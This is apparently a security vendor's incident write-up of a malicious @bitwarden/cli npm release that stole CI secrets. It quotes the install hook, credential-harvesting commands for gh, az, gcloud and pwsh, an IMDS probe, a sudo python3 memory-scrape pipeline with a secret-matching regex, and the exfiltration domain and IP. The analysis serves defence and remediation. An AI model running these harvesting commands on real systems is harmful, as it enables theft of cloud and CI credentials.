@bitwarden/cli@2026.4.0 sat on npm for roughly 93 minutes. The preinstall fetched Bun from GitHub releases, walked every cloud credential CLI available on the runner, probed IMDS, and piped sudo python3 against /proc/<pid>/mem to scrape GitHub Actions secrets. The second-stage payload is not in the published tarball — it arrives at install time, so a disk scan of the package does not tell you what ran. The runtime record does.Per Bitwarden's statement, vault data and production systems were not affected; the incident was scoped to the npm distribution channel for the CLI during a ~93-minute window starting at 5:57 PM ET on April 22, 2026, after a malicious workflow was added to Bitwarden's own CI pipeline. The patched version is 2026.4.1; a CVE is pending.
JFrog Security was first to tie the compromise to the TeamPCP campaign. Socket and The Hacker News followed with package analysis. OX Security identified the string Shai-Hulud: The Third Coming embedded in the package — a direct nod to the November 2025 npm worm Garnet previously profiled. Security researcher Adnan Khan noted that this appears to be, to his knowledge, the first known compromise of a package published via npm's trusted publishing mechanism — the same mechanism designed to eliminate long-lived publishing tokens.
The published 2026.4.0 tarball preserves legitimate Bitwarden metadata but rewires the entry points. preinstall is redirected to bw_setup.js, and the bw binary shim is replaced. Static inspection of the artifact reveals the new files (bw_setup.js, bw1.js) but not what they do when executed — the loader fetches its second stage from GitHub releases at install time, so the payload is not in the package on disk until the install actually runs. Ground truth for what ran then depends on runtime observation, not a post-install disk scan or a published-artifact audit.
What Garnet observed
Method: detonation of @bitwarden/cli@2026.4.0 (compromised) and 2026.3.0 (clean baseline) on a GitHub Actions runner instrumented with Garnet's eBPF sensor (Jibril). Command in both cases: npm install @bitwarden/cli@<version> --no-save --no-package-lock --loglevel verbose.
The attack chain
Execution lineage
Run 24839438820 · jadoonf/npm-analysis-feed
Bitwarden CLI supply chain investigation
Follow the tree. npm fires a silent preinstall — node -e "try{require('./postinstall')}catch(e){}" — with errors swallowed so the install never fails. That path executes bw_setup.js, which downloads a Bun binary from GitHub releases, extracts it, and hands execution to bun bw1.js. The second interpreter is the evasion: scanners and hooks keyed on Node execution do not see what Bun runs next.
From bw1.js, the runner's credential surfaces are walked in sequence:
gh auth token
az account get-access-token --resource https://management.azure.com
gcloud config config-helper --format json
azd auth token --no-prompt --scope https://management.azure.com/.default
pwsh -NoProfile -NonInteractive -Command 'Import-Module Az.Accounts …'A connection to 169.254.169.254 probes the cloud instance metadata service. In parallel, a shell pipeline attaches sudo python3 to process memory and greps with a regex literally shaped like a GitHub Actions secret object:
sh -c "sudo python3 | tr -d '\0' | \
grep -aoE '\"[^\"]+\":\\{\"value\":\"[^\"]*\",\"isSecret\":true\\}' | sort -u"The "isSecret":true pattern matches the in-memory shape of secrets in Runner.Worker. The scrape targets what only exists at execution — secrets resolved into the runner's address space, not files on disk.
Exfiltration destination: audit.checkmarx.cx at 94.154.172.43 (Seychelles, ASN "IP Vendetta Inc"), a newly registered vendor-themed typosquat. The endpoint path — /v1/telemetry — is designed to read like a CI scanner calling home in the runner's network logs. This is the same TTP family as checkmarx.zone (KICS, March 23) and scan.aquasecurtiy.org (Trivy, March 19).
What changes between clean and compromised
Both installs use the identical command. The behavioral split appears only at runtime.
@bitwarden/cli@2026.3.0 (clean) | @bitwarden/cli@2026.4.0 (compromised) | |
|---|---|---|
| Entry points | Standard bin, no preinstall | preinstall → bw_setup.js; bw binary shim replaced |
| Second-stage loader | None | bw_setup.js fetches Bun from GitHub releases at install time |
| Interpreter chain | npm → node | npm → node → node (bw_setup.js) → bun (bw1.js) → sudo python3 |
| Credential probes | None | gh, az, gcloud, azd, pwsh Az.Accounts, IMDS (169.254.169.254) |
| Memory access | None | /proc/<pid>/mem scraped via sudo python3 + regex |
| Network (observed) | registry.npmjs.org only | Registry + audit.checkmarx.cx (94.154.172.43, SC, newly registered) |
| Garnet signals | 0 | 24 — incl. code_modification_through_procfs (critical), code_on_the_fly, 11× interpreter_shell_spawn, 10× exec_from_unusual_dir, tracking_domain_access |
| Evidence on package inspection | Normal CLI tree | Loader present; main payload fetched at runtime, not shipped |
How the attacker staged it
The compromise did not originate on npm. Per JFrog and Adnan Khan's analyses, TeamPCP used GitHub Actions secrets stolen earlier in the Checkmarx wave to inject a malicious workflow into Bitwarden's own CI pipeline. That workflow triggered a publish through npm's Trusted Publishing mechanism — the mechanism explicitly designed to eliminate the class of risk from stolen long-lived npm tokens. The poisoned 2026.4.0 was signed by an OIDC-derived ephemeral token and pushed to npm through the legitimate release path.
Adnan Khan's read: this appears to be the first publicly documented package compromise via npm Trusted Publishing. The implication is that trust in a provenance-attested package is only as strong as trust in the workflow that produced it. Workflow-level compromise short-circuits the guarantee trusted publishing was designed to provide.
Ninety-three minutes is short in incident time and long in CI time. Any pipeline running npm install @bitwarden/cli@2026.4.0 during that window — pinned or unpinned, cached or fresh — would have executed the loader.
Real-world impact
@bitwarden/cli is a developer and CI tool, not the Bitwarden vault; per Bitwarden's statement, no vault data was at risk. The exposed surface is different and, for teams using the CLI in automation, consequential: GitHub and npm authentication tokens, SSH keys, cloud provider credentials (AWS, GCP, Azure), environment variables, shell history, and any GitHub Actions secrets resolved into the runner's memory during the compromise window.
This is the seventh untrusted-execution compromise Garnet has profiled in open reporting since November 2025. The pattern named in "Five Supply Chain Attacks. One Blind Spot." holds: a trusted surface executes first, payload code reaches a high-trust runtime context, post-hoc artifacts are partial by design. Bitwarden extends the pattern into a new attack surface — the publishing mechanism itself — without changing the runtime shape of what the package does when it runs. Two technical continuities are worth naming:
- The Node → Bun pivot profiled in Shai-Hulud 2.0 in November 2025 is the same evasion shape used here. The
Shai-Hulud: The Third Comingstring found in the package is not a coincidence. - The
/proc/<pid>/memcredential scrape and vendor-themed typosquat exfiltration are direct continuations of the TeamPCP playbook observed in Trivy and KICS.
If you installed @bitwarden/cli@2026.4.0 in the compromise window on April 22, 2026:
- Upgrade to
2026.4.1immediately. - Treat any secret accessible to a CI runner that executed the compromised install as potentially exposed. Rotate GitHub PATs, npm tokens, cloud provider credentials, SSH keys, and any repository- or organization-level secrets resolved during the window.
- Audit outbound CI traffic for connections to
audit.checkmarx.cxor94.154.172.43. - Pin GitHub Actions to full commit SHAs rather than version tags.
Secure defaults and scanners reduce exposure. Runtime receipts reduce guesswork when prevention misses. They are complements, not substitutes.
Explore the run profile above, or start observing your own workflows with Garnet.